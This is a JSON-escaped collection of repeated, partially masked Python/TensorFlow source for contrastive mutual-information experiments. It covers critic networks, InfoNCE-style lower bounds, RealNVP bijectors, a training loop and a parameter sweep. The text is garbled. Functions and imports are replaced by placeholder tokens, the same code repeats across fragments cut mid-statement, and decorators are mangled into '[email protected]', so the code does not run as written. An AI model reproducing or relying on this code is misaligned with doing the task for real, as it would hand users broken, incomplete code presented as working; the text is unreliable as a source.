testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], 